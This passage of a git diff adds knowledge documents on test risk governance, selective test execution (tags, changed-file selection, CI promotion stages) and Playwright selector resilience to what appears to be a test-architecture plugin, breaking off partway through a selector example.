+    report += `| Story | Criterion | Priority | Tests |\n`;
+    report += `|-------|-----------|----------|-------|\n`;
+    gaps.forEach((m) => {
+      report += `| ${m.criterion.story} | ${m.criterion.criterion} | ${m.criterion.priority} | None |\n`;
+    });
+    report += `\n`;
+  }
+
+  report += `## ✅ Covered Criteria\n\n`;
+  report += `| Story | Criterion | Tests |\n`;
+  report += `|-------|-----------|-------|\n`;
+  matrix
+    .filter((m) => m.covered)
+    .forEach((m) => {
+      const testList = m.tests.map((t) => `\`${t.file}\``).join(', ');
+      report += `| ${m.criterion.story} | ${m.criterion.criterion} | ${testList} |\n`;
+    });
+
+  return report;
+}
+```
+
+**Usage Example**:
+
+```typescript
+// Define acceptance criteria
+const criteria: AcceptanceCriterion[] = [
+  { id: 'AC-001', story: 'US-123', criterion: 'User can login with email', priority: 'P0' },
+  { id: 'AC-002', story: 'US-123', criterion: 'User sees error on invalid password', priority: 'P0' },
+  { id: 'AC-003', story: 'US-124', criterion: 'User receives password reset email', priority: 'P1' },
+  { id: 'AC-004', story: 'US-125', criterion: 'User can update profile', priority: 'P2' }, // NO TEST
+];
+
+// Extract tests
+const tests: TestCase[] = extractCriteriaFromTests(['tests/e2e/auth/login.spec.ts', 'tests/e2e/auth/password-reset.spec.ts']);
+
+// Build matrix
+const matrix = buildCoverageMatrix(criteria, tests);
+
+// Validate
+const { gaps, passRate } = validateCoverage(matrix);
+console.log(`Coverage: ${passRate.toFixed(1)}%`); // "Coverage: 75.0%"
+console.log(`Gaps: ${gaps.length}`); // "Gaps: 1" (AC-004 has no test)
+
+// Generate report
+const report = generateTraceabilityReport(matrix);
+console.log(report);
+// Markdown table showing coverage gaps
+```
+
+**Key Points**:
+
+- **Bidirectional traceability**: Criteria → Tests and Tests → Criteria
+- **Gap detection**: Automatically identifies missing coverage
+- **Priority awareness**: P0 gaps are critical blockers
+- **Waiver support**: Allow explicit waivers for low-priority gaps
+
+---
+
+## Risk Governance Checklist
+
+Before deploying to production, ensure:
+
+- [ ] **Risk scoring complete**: All identified risks scored (Probability × Impact)
+- [ ] **Ownership assigned**: Every risk >4 has owner, mitigation plan, deadline
+- [ ] **Coverage validated**: Every acceptance criterion maps to at least one test
+- [ ] **Gate decision documented**: PASS/CONCERNS/FAIL/WAIVED with rationale
+- [ ] **Waivers approved**: All waivers have approver, reason, expiry date
+- [ ] **Audit trail captured**: Risk history log available for compliance review
+- [ ] **Traceability matrix**: Requirements-to-tests mapping up to date
+- [ ] **Critical risks resolved**: No score=9 risks in OPEN status
+
+## Integration Points
+
+- **Used in workflows**: `*trace` (Phase 2: gate decision), `*nfr-assess` (risk scoring), `*test-design` (risk identification)
+- **Related fragments**: `probability-impact.md` (scoring definitions), `test-priorities-matrix.md` (P0-P3 classification), `nfr-criteria.md` (non-functional risks)
+- **Tools**: Risk tracking dashboards (Jira, Linear), gate automation (CI/CD), traceability reports (Markdown, Confluence)
+
+_Source: Murat risk governance notes, gate schema guidance, enterprise production gate workflows, ISO 31000 risk management standards_
diff --git a/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/selective-testing.md b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/selective-testing.md
new file mode 100644
index 0000000..e8becc3
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/selective-testing.md
@@ -0,0 +1,732 @@
+# Selective and Targeted Test Execution
+
+## Principle
+
+Run only the tests you need, when you need them. Use tags/grep to slice suites by risk priority (not directory structure), filter by spec patterns or git diff to focus on impacted areas, and combine priority metadata (P0-P3) with change detection to optimize pre-commit vs. CI execution. Document the selection strategy clearly so teams understand when full regression is mandatory.
+
+## Rationale
+
+Running the entire test suite on every commit wastes time and resources. Smart test selection provides fast feedback (smoke tests in minutes, full regression in hours) while maintaining confidence. The "32+ ways of selective testing" philosophy balances speed with coverage: quick loops for developers, comprehensive validation before deployment. Poorly documented selection leads to confusion about when tests run and why.
+
+## Pattern Examples
+
+### Example 1: Tag-Based Execution with Priority Levels
+
+**Context**: Organize tests by risk priority and execution stage using grep/tag patterns.
+
+**Implementation**:
+
+```typescript
+// tests/e2e/checkout.spec.ts
+import { test, expect } from '@playwright/test';
+
+/**
+ * Tag-based test organization
+ * - @smoke: Critical path tests (run on every commit, < 5 min)
+ * - @regression: Full test suite (run pre-merge, < 30 min)
+ * - @p0: Critical business functions (payment, auth, data integrity)
+ * - @p1: Core features (primary user journeys)
+ * - @p2: Secondary features (supporting functionality)
+ * - @p3: Nice-to-have (cosmetic, non-critical)
+ */
+
+test.describe('Checkout Flow', () => {
+  // P0 + Smoke: Must run on every commit
+  test('@smoke @p0 should complete purchase with valid payment', async ({ page }) => {
+    await page.goto('/checkout');
+    await page.getByTestId('card-number').fill('4242424242424242');
+    await page.getByTestId('submit-payment').click();
+
+    await expect(page.getByTestId('order-confirmation')).toBeVisible();
+  });
+
+  // P0 but not smoke: Run pre-merge
+  test('@regression @p0 should handle payment decline gracefully', async ({ page }) => {
+    await page.goto('/checkout');
+    await page.getByTestId('card-number').fill('4000000000000002'); // Decline card
+    await page.getByTestId('submit-payment').click();
+
+    await expect(page.getByTestId('payment-error')).toBeVisible();
+    await expect(page.getByTestId('payment-error')).toContainText('declined');
+  });
+
+  // P1 + Smoke: Important but not critical
+  test('@smoke @p1 should apply discount code', async ({ page }) => {
+    await page.goto('/checkout');
+    await page.getByTestId('promo-code').fill('SAVE10');
+    await page.getByTestId('apply-promo').click();
+
+    await expect(page.getByTestId('discount-applied')).toBeVisible();
+  });
+
+  // P2: Run in full regression only
+  test('@regression @p2 should remember saved payment methods', async ({ page }) => {
+    await page.goto('/checkout');
+    await expect(page.getByTestId('saved-cards')).toBeVisible();
+  });
+
+  // P3: Low priority, run nightly or weekly
+  test('@nightly @p3 should display checkout page analytics', async ({ page }) => {
+    await page.goto('/checkout');
+    const analyticsEvents = await page.evaluate(() => (window as any).__ANALYTICS__);
+    expect(analyticsEvents).toBeDefined();
+  });
+});
+```
+
+**package.json scripts**:
+
+```json
+{
+  "scripts": {
+    "test": "playwright test",
+    "test:smoke": "playwright test --grep '@smoke'",
+    "test:p0": "playwright test --grep '@p0'",
+    "test:p0-p1": "playwright test --grep '@p0|@p1'",
+    "test:regression": "playwright test --grep '@regression'",
+    "test:nightly": "playwright test --grep '@nightly'",
+    "test:not-slow": "playwright test --grep-invert '@slow'",
+    "test:critical-smoke": "playwright test --grep '@smoke.*@p0'"
+  }
+}
+```
+
+**Cypress equivalent**:
+
+```javascript
+// cypress/e2e/checkout.cy.ts
+describe('Checkout Flow', { tags: ['@checkout'] }, () => {
+  it('should complete purchase', { tags: ['@smoke', '@p0'] }, () => {
+    cy.visit('/checkout');
+    cy.get('[data-cy="card-number"]').type('4242424242424242');
+    cy.get('[data-cy="submit-payment"]').click();
+    cy.get('[data-cy="order-confirmation"]').should('be.visible');
+  });
+
+  it('should handle decline', { tags: ['@regression', '@p0'] }, () => {
+    cy.visit('/checkout');
+    cy.get('[data-cy="card-number"]').type('4000000000000002');
+    cy.get('[data-cy="submit-payment"]').click();
+    cy.get('[data-cy="payment-error"]').should('be.visible');
+  });
+});
+
+// cypress.config.ts
+export default defineConfig({
+  e2e: {
+    env: {
+      grepTags: process.env.GREP_TAGS || '',
+      grepFilterSpecs: true,
+    },
+    setupNodeEvents(on, config) {
+      require('@cypress/grep/src/plugin')(config);
+      return config;
+    },
+  },
+});
+```
+
+**Usage**:
+
+```bash
+# Playwright
+npm run test:smoke                    # Run all @smoke tests
+npm run test:p0                       # Run all P0 tests
+npm run test -- --grep "@smoke.*@p0"  # Run tests with BOTH tags
+
+# Cypress (with @cypress/grep plugin)
+npx cypress run --env grepTags="@smoke"
+npx cypress run --env grepTags="@p0+@smoke"  # AND logic
+npx cypress run --env grepTags="@p0 @p1"     # OR logic
+```
+
+**Key Points**:
+
+- **Multiple tags per test**: Combine priority (@p0) with stage (@smoke)
+- **AND/OR logic**: Grep supports complex filtering
+- **Clear naming**: Tags document test importance
+- **Fast feedback**: @smoke runs < 5 min, full suite < 30 min
+- **CI integration**: Different jobs run different tag combinations
+
+---
+
+### Example 2: Spec Filter Pattern (File-Based Selection)
+
+**Context**: Run tests by file path pattern or directory for targeted execution.
+
+**Implementation**:
+
+```bash
+#!/bin/bash
+# scripts/selective-spec-runner.sh
+# Run tests based on spec file patterns
+
+set -e
+
+PATTERN=${1:-"**/*.spec.ts"}
+TEST_ENV=${TEST_ENV:-local}
+
+echo "🎯 Selective Spec Runner"
+echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+echo "Pattern: $PATTERN"
+echo "Environment: $TEST_ENV"
+echo ""
+
+# Pattern examples and their use cases
+case "$PATTERN" in
+  "**/checkout*")
+    echo "📦 Running checkout-related tests"
+    npx playwright test --grep-files="**/checkout*"
+    ;;
+  "**/auth*"|"**/login*"|"**/signup*")
+    echo "🔐 Running authentication tests"
+    npx playwright test --grep-files="**/auth*|**/login*|**/signup*"
+    ;;
+  "tests/e2e/**")
+    echo "🌐 Running all E2E tests"
+    npx playwright test tests/e2e/
+    ;;
+  "tests/integration/**")
+    echo "🔌 Running all integration tests"
+    npx playwright test tests/integration/
+    ;;
+  "tests/component/**")
+    echo "🧩 Running all component tests"
+    npx playwright test tests/component/
+    ;;
+  *)
+    echo "🔍 Running tests matching pattern: $PATTERN"
+    npx playwright test "$PATTERN"
+    ;;
+esac
+```
+
+**Playwright config for file filtering**:
+
+```typescript
+// playwright.config.ts
+import { defineConfig, devices } from '@playwright/test';
+
+export default defineConfig({
+  // ... other config
+
+  // Project-based organization
+  projects: [
+    {
+      name: 'smoke',
+      testMatch: /.*smoke.*\.spec\.ts/,
+      retries: 0,
+    },
+    {
+      name: 'e2e',
+      testMatch: /tests\/e2e\/.*\.spec\.ts/,
+      retries: 2,
+    },
+    {
+      name: 'integration',
+      testMatch: /tests\/integration\/.*\.spec\.ts/,
+      retries: 1,
+    },
+    {
+      name: 'component',
+      testMatch: /tests\/component\/.*\.spec\.ts/,
+      use: { ...devices['Desktop Chrome'] },
+    },
+  ],
+});
+```
+
+**Advanced pattern matching**:
+
+```typescript
+// scripts/run-by-component.ts
+/**
+ * Run tests related to specific component(s)
+ * Usage: npm run test:component UserProfile,Settings
+ */
+
+import { execSync } from 'child_process';
+
+const components = process.argv[2]?.split(',') || [];
+
+if (components.length === 0) {
+  console.error('❌ No components specified');
+  console.log('Usage: npm run test:component UserProfile,Settings');
+  process.exit(1);
+}
+
+// Convert component names to glob patterns
+const patterns = components.map((comp) => `**/*${comp}*.spec.ts`).join(' ');
+
+console.log(`🧩 Running tests for components: ${components.join(', ')}`);
+console.log(`Patterns: ${patterns}`);
+
+try {
+  execSync(`npx playwright test ${patterns}`, {
+    stdio: 'inherit',
+    env: { ...process.env, CI: 'false' },
+  });
+} catch (error) {
+  process.exit(1);
+}
+```
+
+**package.json scripts**:
+
+```json
+{
+  "scripts": {
+    "test:checkout": "playwright test **/checkout*.spec.ts",
+    "test:auth": "playwright test **/auth*.spec.ts **/login*.spec.ts",
+    "test:e2e": "playwright test tests/e2e/",
+    "test:integration": "playwright test tests/integration/",
+    "test:component": "ts-node scripts/run-by-component.ts",
+    "test:project": "playwright test --project",
+    "test:smoke-project": "playwright test --project smoke"
+  }
+}
+```
+
+**Key Points**:
+
+- **Glob patterns**: Wildcards match file paths flexibly
+- **Project isolation**: Separate projects have different configs
+- **Component targeting**: Run tests for specific features
+- **Directory-based**: Organize tests by type (e2e, integration, component)
+- **CI optimization**: Run subsets in parallel CI jobs
+
+---
+
+### Example 3: Diff-Based Test Selection (Changed Files Only)
+
+**Context**: Run only tests affected by code changes for maximum speed.
+
+**Implementation**:
+
+```bash
+#!/bin/bash
+# scripts/test-changed-files.sh
+# Intelligent test selection based on git diff
+
+set -e
+
+BASE_BRANCH=${BASE_BRANCH:-main}
+TEST_ENV=${TEST_ENV:-local}
+
+echo "🔍 Changed File Test Selector"
+echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+echo "Base branch: $BASE_BRANCH"
+echo "Environment: $TEST_ENV"
+echo ""
+
+# Get changed files
+CHANGED_FILES=$(git diff --name-only $BASE_BRANCH...HEAD)
+
+if [ -z "$CHANGED_FILES" ]; then
+  echo "✅ No files changed. Skipping tests."
+  exit 0
+fi
+
+echo "Changed files:"
+echo "$CHANGED_FILES" | sed 's/^/  - /'
+echo ""
+
+# Arrays to collect test specs
+DIRECT_TEST_FILES=()
+RELATED_TEST_FILES=()
+RUN_ALL_TESTS=false
+
+# Process each changed file
+while IFS= read -r file; do
+  case "$file" in
+    # Changed test files: run them directly
+    *.spec.ts|*.spec.js|*.test.ts|*.test.js|*.cy.ts|*.cy.js)
+      DIRECT_TEST_FILES+=("$file")
+      ;;
+
+    # Critical config changes: run ALL tests
+    package.json|package-lock.json|playwright.config.ts|cypress.config.ts|tsconfig.json|.github/workflows/*)
+      echo "⚠️  Critical file changed: $file"
+      RUN_ALL_TESTS=true
+      break
+      ;;
+
+    # Component changes: find related tests
+    src/components/*.tsx|src/components/*.jsx)
+      COMPONENT_NAME=$(basename "$file" | sed 's/\.[^.]*$//')
+      echo "🧩 Component changed: $COMPONENT_NAME"
+
+      # Find tests matching component name
+      FOUND_TESTS=$(find tests -name "*${COMPONENT_NAME}*.spec.ts" -o -name "*${COMPONENT_NAME}*.cy.ts" 2>/dev/null || true)
+      if [ -n "$FOUND_TESTS" ]; then
+        while IFS= read -r test_file; do
+          RELATED_TEST_FILES+=("$test_file")
+        done <<< "$FOUND_TESTS"
+      fi
+      ;;
+
+    # Utility/lib changes: run integration + unit tests
+    src/utils/*|src/lib/*|src/helpers/*)
+      echo "⚙️  Utility file changed: $file"
+      RELATED_TEST_FILES+=($(find tests/unit tests/integration -name "*.spec.ts" 2>/dev/null || true))
+      ;;
+
+    # API changes: run integration + e2e tests
+    src/api/*|src/services/*|src/controllers/*)
+      echo "🔌 API file changed: $file"
+      RELATED_TEST_FILES+=($(find tests/integration tests/e2e -name "*.spec.ts" 2>/dev/null || true))
+      ;;
+
+    # Type changes: run all TypeScript tests
+    *.d.ts|src/types/*)
+      echo "📝 Type definition changed: $file"
+      RUN_ALL_TESTS=true
+      break
+      ;;
+
+    # Documentation only: skip tests
+    *.md|docs/*|README*)
+      echo "📄 Documentation changed: $file (no tests needed)"
+      ;;
+
+    *)
+      echo "❓ Unclassified change: $file (running smoke tests)"
+      RELATED_TEST_FILES+=($(find tests -name "*smoke*.spec.ts" 2>/dev/null || true))
+      ;;
+  esac
+done <<< "$CHANGED_FILES"
+
+# Execute tests based on analysis
+if [ "$RUN_ALL_TESTS" = true ]; then
+  echo ""
+  echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+  echo "🚨 Running FULL test suite (critical changes detected)"
+  echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+  npm run test
+  exit $?
+fi
+
+# Combine and deduplicate test files
+ALL_TEST_FILES=(${DIRECT_TEST_FILES[@]} ${RELATED_TEST_FILES[@]})
+UNIQUE_TEST_FILES=($(echo "${ALL_TEST_FILES[@]}" | tr ' ' '\n' | sort -u))
+
+if [ ${#UNIQUE_TEST_FILES[@]} -eq 0 ]; then
+  echo ""
+  echo "✅ No tests found for changed files. Running smoke tests."
+  npm run test:smoke
+  exit $?
+fi
+
+echo ""
+echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+echo "🎯 Running ${#UNIQUE_TEST_FILES[@]} test file(s)"
+echo "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
+
+for test_file in "${UNIQUE_TEST_FILES[@]}"; do
+  echo "  - $test_file"
+done
+
+echo ""
+npm run test -- "${UNIQUE_TEST_FILES[@]}"
+```
+
+**GitHub Actions integration**:
+
+```yaml
+# .github/workflows/test-changed.yml
+name: Test Changed Files
+on:
+  pull_request:
+    types: [opened, synchronize, reopened]
+
+jobs:
+  detect-and-test:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+        with:
+          fetch-depth: 0 # Full history for accurate diff
+
+      - name: Get changed files
+        id: changed-files
+        uses: tj-actions/changed-files@v40
+        with:
+          files: |
+            src/**
+            tests/**
+            *.config.ts
+          files_ignore: |
+            **/*.md
+            docs/**
+
+      - name: Run tests for changed files
+        if: steps.changed-files.outputs.any_changed == 'true'
+        run: |
+          echo "Changed files: ${{ steps.changed-files.outputs.all_changed_files }}"
+          bash scripts/test-changed-files.sh
+        env:
+          BASE_BRANCH: ${{ github.base_ref }}
+          TEST_ENV: staging
+```
+
+**Key Points**:
+
+- **Intelligent mapping**: Code changes → related tests
+- **Critical file detection**: Config changes = full suite
+- **Component mapping**: UI changes → component + E2E tests
+- **Fast feedback**: Run only what's needed (< 2 min typical)
+- **Safety net**: Unrecognized changes run smoke tests
+
+---
+
+### Example 4: Promotion Rules (Pre-Commit → CI → Staging → Production)
+
+**Context**: Progressive test execution strategy across deployment stages.
+
+**Implementation**:
+
+```typescript
+// scripts/test-promotion-strategy.ts
+/**
+ * Test Promotion Strategy
+ * Defines which tests run at each stage of the development lifecycle
+ */
+
+export type TestStage = 'pre-commit' | 'ci-pr' | 'ci-merge' | 'staging' | 'production';
+
+export type TestPromotion = {
+  stage: TestStage;
+  description: string;
+  testCommand: string;
+  timebudget: string; // minutes
+  required: boolean;
+  failureAction: 'block' | 'warn' | 'alert';
+};
+
+export const TEST_PROMOTION_RULES: Record<TestStage, TestPromotion> = {
+  'pre-commit': {
+    stage: 'pre-commit',
+    description: 'Local developer checks before git commit',
+    testCommand: 'npm run test:smoke',
+    timebudget: '2',
+    required: true,
+    failureAction: 'block',
+  },
+  'ci-pr': {
+    stage: 'ci-pr',
+    description: 'CI checks on pull request creation/update',
+    testCommand: 'npm run test:changed && npm run test:p0-p1',
+    timebudget: '10',
+    required: true,
+    failureAction: 'block',
+  },
+  'ci-merge': {
+    stage: 'ci-merge',
+    description: 'Full regression before merge to main',
+    testCommand: 'npm run test:regression',
+    timebudget: '30',
+    required: true,
+    failureAction: 'block',
+  },
+  staging: {
+    stage: 'staging',
+    description: 'Post-deployment validation in staging environment',
+    testCommand: 'npm run test:e2e -- --grep "@smoke"',
+    timebudget: '15',
+    required: true,
+    failureAction: 'block',
+  },
+  production: {
+    stage: 'production',
+    description: 'Production smoke tests post-deployment',
+    testCommand: 'npm run test:e2e:prod -- --grep "@smoke.*@p0"',
+    timebudget: '5',
+    required: false,
+    failureAction: 'alert',
+  },
+};
+
+/**
+ * Get tests to run for a specific stage
+ */
+export function getTestsForStage(stage: TestStage): TestPromotion {
+  return TEST_PROMOTION_RULES[stage];
+}
+
+/**
+ * Validate if tests can be promoted to next stage
+ */
+export function canPromote(currentStage: TestStage, testsPassed: boolean): boolean {
+  const promotion = TEST_PROMOTION_RULES[currentStage];
+
+  if (!promotion.required) {
+    return true; // Non-required tests don't block promotion
+  }
+
+  return testsPassed;
+}
+```
+
+**Husky pre-commit hook**:
+
+```bash
+#!/bin/bash
+# .husky/pre-commit
+# Run smoke tests before allowing commit
+
+echo "🔍 Running pre-commit tests..."
+
+npm run test:smoke
+
+if [ $? -ne 0 ]; then
+  echo ""
+  echo "❌ Pre-commit tests failed!"
+  echo "Please fix failures before committing."
+  echo ""
+  echo "To skip (NOT recommended): git commit --no-verify"
+  exit 1
+fi
+
+echo "✅ Pre-commit tests passed"
+```
+
+**GitHub Actions workflow**:
+
+```yaml
+# .github/workflows/test-promotion.yml
+name: Test Promotion Strategy
+on:
+  pull_request:
+  push:
+    branches: [main]
+  workflow_dispatch:
+
+jobs:
+  # Stage 1: PR tests (changed + P0-P1)
+  pr-tests:
+    if: github.event_name == 'pull_request'
+    runs-on: ubuntu-latest
+    timeout-minutes: 10
+    steps:
+      - uses: actions/checkout@v4
+      - name: Run PR-level tests
+        run: |
+          npm run test:changed
+          npm run test:p0-p1
+
+  # Stage 2: Full regression (pre-merge)
+  regression-tests:
+    if: github.event_name == 'push' && github.ref == 'refs/heads/main'
+    runs-on: ubuntu-latest
+    timeout-minutes: 30
+    steps:
+      - uses: actions/checkout@v4
+      - name: Run full regression
+        run: npm run test:regression
+
+  # Stage 3: Staging validation (post-deploy)
+  staging-smoke:
+    if: github.event_name == 'workflow_dispatch'
+    runs-on: ubuntu-latest
+    timeout-minutes: 15
+    steps:
+      - uses: actions/checkout@v4
+      - name: Run staging smoke tests
+        run: npm run test:e2e -- --grep "@smoke"
+        env:
+          TEST_ENV: staging
+
+  # Stage 4: Production smoke (post-deploy, non-blocking)
+  production-smoke:
+    if: github.event_name == 'workflow_dispatch'
+    runs-on: ubuntu-latest
+    timeout-minutes: 5
+    continue-on-error: true # Don't fail deployment if smoke tests fail
+    steps:
+      - uses: actions/checkout@v4
+      - name: Run production smoke tests
+        run: npm run test:e2e:prod -- --grep "@smoke.*@p0"
+        env:
+          TEST_ENV: production
+
+      - name: Alert on failure
+        if: failure()
+        uses: 8398a7/action-slack@v3
+        with:
+          status: ${{ job.status }}
+          text: '🚨 Production smoke tests failed!'
+          webhook_url: ${{ secrets.SLACK_WEBHOOK }}
+```
+
+**Selection strategy documentation**:
+
+````markdown
+# Test Selection Strategy
+
+## Test Promotion Stages
+
+| Stage      | Tests Run           | Time Budget | Blocks Deploy | Failure Action |
+| ---------- | ------------------- | ----------- | ------------- | -------------- |
+| Pre-Commit | Smoke (@smoke)      | 2 min       | ✅ Yes        | Block commit   |
+| CI PR      | Changed + P0-P1     | 10 min      | ✅ Yes        | Block merge    |
+| CI Merge   | Full regression     | 30 min      | ✅ Yes        | Block deploy   |
+| Staging    | E2E smoke           | 15 min      | ✅ Yes        | Rollback       |
+| Production | Critical smoke only | 5 min       | ❌ No         | Alert team     |
+
+## When Full Regression Runs
+
+Full regression suite (`npm run test:regression`) runs in these scenarios:
+
+- ✅ Before merging to `main` (CI Merge stage)
+- ✅ Nightly builds (scheduled workflow)
+- ✅ Manual trigger (workflow_dispatch)
+- ✅ Release candidate testing
+
+Full regression does NOT run on:
+
+- ❌ Every PR commit (too slow)
+- ❌ Pre-commit hooks (too slow)
+- ❌ Production deployments (deploy-blocking)
+
+## Override Scenarios
+
+Skip tests (emergency only):
+
+```bash
+git commit --no-verify  # Skip pre-commit hook
+gh pr merge --admin     # Force merge (requires admin)
+```
+````
+
+```
+
+**Key Points**:
+- **Progressive validation**: More tests at each stage
+- **Time budgets**: Clear expectations per stage
+- **Blocking vs. alerting**: Production tests don't block deploy
+- **Documentation**: Team knows when full regression runs
+- **Emergency overrides**: Documented but discouraged
+
+---
+
+## Test Selection Strategy Checklist
+
+Before implementing selective testing, verify:
+
+- [ ] **Tag strategy defined**: @smoke, @p0-p3, @regression documented
+- [ ] **Time budgets set**: Each stage has clear timeout (smoke < 5 min, full < 30 min)
+- [ ] **Changed file mapping**: Code changes → test selection logic implemented
+- [ ] **Promotion rules documented**: README explains when full regression runs
+- [ ] **CI integration**: GitHub Actions uses selective strategy
+- [ ] **Local parity**: Developers can run same selections locally
+- [ ] **Emergency overrides**: Skip mechanisms documented (--no-verify, admin merge)
+- [ ] **Metrics tracked**: Monitor test execution time and selection accuracy
+
+## Integration Points
+
+- Used in workflows: `*ci` (CI/CD setup), `*automate` (test generation with tags)
+- Related fragments: `ci-burn-in.md`, `test-priorities-matrix.md`, `test-quality.md`
+- Selection tools: Playwright --grep, Cypress @cypress/grep, git diff
+
+_Source: 32+ selective testing strategies blog, Murat testing philosophy, enterprise CI optimization_
+```
diff --git a/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/selector-resilience.md b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/selector-resilience.md
new file mode 100644
index 0000000..06f0b04
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/selector-resilience.md
@@ -0,0 +1,527 @@
+# Selector Resilience
+
+## Principle
+
+Robust selectors follow a strict hierarchy: **data-testid > ARIA roles > text content > CSS/IDs** (last resort). Selectors must be resilient to UI changes (styling, layout, content updates) and remain human-readable for maintenance.
+
+## Rationale
+
+**The Problem**: Brittle selectors (CSS classes, nth-child, complex XPath) break when UI styling changes, elements are reordered, or design updates occur. This causes test maintenance burden and false negatives.
+
+**The Solution**: Prioritize semantic selectors that reflect user intent (ARIA roles, accessible names, test IDs). Use dynamic filtering for lists instead of nth() indexes. Validate selectors during code review and refactor proactively.
+
+**Why This Matters**:
+
+- Prevents false test failures (UI refactoring doesn't break tests)
+- Improves accessibility (ARIA roles benefit both tests and screen readers)
+- Enhances readability (semantic selectors document user intent)
+- Reduces maintenance burden (robust selectors survive design changes)
+
+## Pattern Examples
+
+### Example 1: Selector Hierarchy (Priority Order with Examples)
+
+**Context**: Choose the most resilient selector for each element type
+
+**Implementation**:
+
+```typescript
+// tests/selectors/hierarchy-examples.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Selector Hierarchy Best Practices', () => {
+  test('Level 1: data-testid (BEST - most resilient)', async ({ page }) => {
+    await page.goto('/login');
+
+    // ✅ Best: Dedicated test attribute (survives all UI changes)
+    await page.getByTestId('email-input').fill('user@example.com');
+    await page.getByTestId('password-input').fill('password123');
+    await page.getByTestId('login-button').click();
+
+    await expect(page.getByTestId('welcome-message')).toBeVisible();
+
+    // Why it's best:
+    // - Survives CSS refactoring (class name changes)
+    // - Survives layout changes (element reordering)
+    // - Survives content changes (button text updates)
+    // - Explicit test contract (developer knows it's for testing)
+  });
+
+  test('Level 2: ARIA roles and accessible names (GOOD - future-proof)', async ({ page }) => {
+    await page.goto('/login');
+
+    // ✅ Good: Semantic HTML roles (benefits accessibility + tests)
+    await page.getByRole('textbox', { name: 'Email' }).fill('user@example.com');
+    await page.getByRole('textbox', { name: 'Password' }).fill('password123');
+    await page.getByRole('button', { name: 'Sign In' }).click();
+
+    await expect(page.getByRole('heading', { name: 'Welcome' })).toBeVisible();
+
+    // Why it's good:
+    // - Survives CSS refactoring
+    // - Survives layout changes
+    // - Enforces accessibility (screen reader compatible)
+    // - Self-documenting (role + name = clear intent)
+  });
+
+  test('Level 3: Text content (ACCEPTABLE - user-centric)', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // ✅ Acceptable: Text content (matches user perception)
+    await page.getByText('Create New Order').click();
+    await expect(page.getByText('Order Details')).toBeVisible();
+
+    // Why it's acceptable:
+    // - User-centric (what user sees)
+    // - Survives CSS/layout changes
+    // - Breaks when copy changes (forces test update with content)
+
+    // ⚠️ Use with caution for dynamic/localized content:
+    // - Avoid for content with variables: "User 123" (use regex instead)
+    // - Avoid for i18n content (use data-testid or ARIA)
+  });
+
+  test('Level 4: CSS classes/IDs (LAST RESORT - brittle)', async ({ page }) => {
+    await page.goto('/login');
+
+    // ❌ Last resort: CSS class (breaks with styling updates)
+    // await page.locator('.btn-primary').click()
+
+    // ❌ Last resort: ID (breaks if ID changes)
+    // await page.locator('#login-form').fill(...)
+
+    // ✅ Better: Use data-testid or ARIA instead
+    await page.getByTestId('login-button').click();
+
+    // Why CSS/ID is last resort:
+    // - Breaks with CSS refactoring (class name changes)
+    // - Breaks with HTML restructuring (ID changes)
+    // - Not semantic (unclear what element does)
+    // - Tight coupling between tests and styling
+  });
+});
+```
+
+**Key Points**:
+
+- Hierarchy: data-testid (best) > ARIA (good) > text (acceptable) > CSS/ID (last resort)
+- data-testid survives ALL UI changes (explicit test contract)
+- ARIA roles enforce accessibility (screen reader compatible)
+- Text content is user-centric (but breaks with copy changes)
+- CSS/ID are brittle (break with styling refactoring)
+
+---
+
+### Example 2: Dynamic Selector Patterns (Lists, Filters, Regex)
+
+**Context**: Handle dynamic content, lists, and variable data with resilient selectors
+
+**Implementation**:
+
+```typescript
+// tests/selectors/dynamic-selectors.spec.ts
+import { test, expect } from '@playwright/test';
+
+test.describe('Dynamic Selector Patterns', () => {
+  test('regex for variable content (user IDs, timestamps)', async ({ page }) => {
+    await page.goto('/users');
+
+    // ✅ Good: Regex pattern for dynamic user IDs
+    await expect(page.getByText(/User \d+/)).toBeVisible();
+
+    // ✅ Good: Regex for timestamps
+    await expect(page.getByText(/Last login: \d{4}-\d{2}-\d{2}/)).toBeVisible();
+
+    // ✅ Good: Regex for dynamic counts
+    await expect(page.getByText(/\d+ items in cart/)).toBeVisible();
+  });
+
+  test('partial text matching (case-insensitive, substring)', async ({ page }) => {
+    await page.goto('/products');
+
+    // ✅ Good: Partial match (survives minor text changes)
+    await page.getByText('Product', { exact: false }).first().click();
+
+    // ✅ Good: Case-insensitive (survives capitalization changes)
+    await expect(page.getByText(/sign in/i)).toBeVisible();
+  });
+
+  test('filter locators for lists (avoid brittle nth)', async ({ page }) => {
+    await page.goto('/products');
+
+    // ❌ Bad: Index-based (breaks when order changes)
+    // await page.locator('.product-card').nth(2).click()
+
+    // ✅ Good: Filter by content (resilient to reordering)
+    await page.locator('[data-testid="product-card"]').filter({ hasText: 'Premium Plan' }).click();
+
+    // ✅ Good: Filter by attribute
+    await page
+      .locator('[data-testid="product-card"]')
+      .filter({ has: page.locator('[data-status="active"]') })
+      .first()
+      .click();
+  });
+
+  test('nth() only when absolutely necessary', async ({ page }) => {
+    await page.goto('/dashboard');
+
+    // ⚠️ Acceptable: nth(0) for first item (common pattern)
+    const firstNotification = page.getByTestId('notification').nth(0);
+    await expect(firstNotification).toContainText('Welcome');
+
+    // ❌ Bad: nth(5) for arbitrary index (fragile)
+    // await page.getByTestId('notification').nth(5).click()
+
+    // ✅ Better: Use filter() with specific criteria
+    await page.getByTestId('notification').filter({ hasText: 'Critical Alert' }).click();
+  });
+
+  test('combine multiple locators for specificity', async ({ page }) => {
+    await page.goto('/checkout');
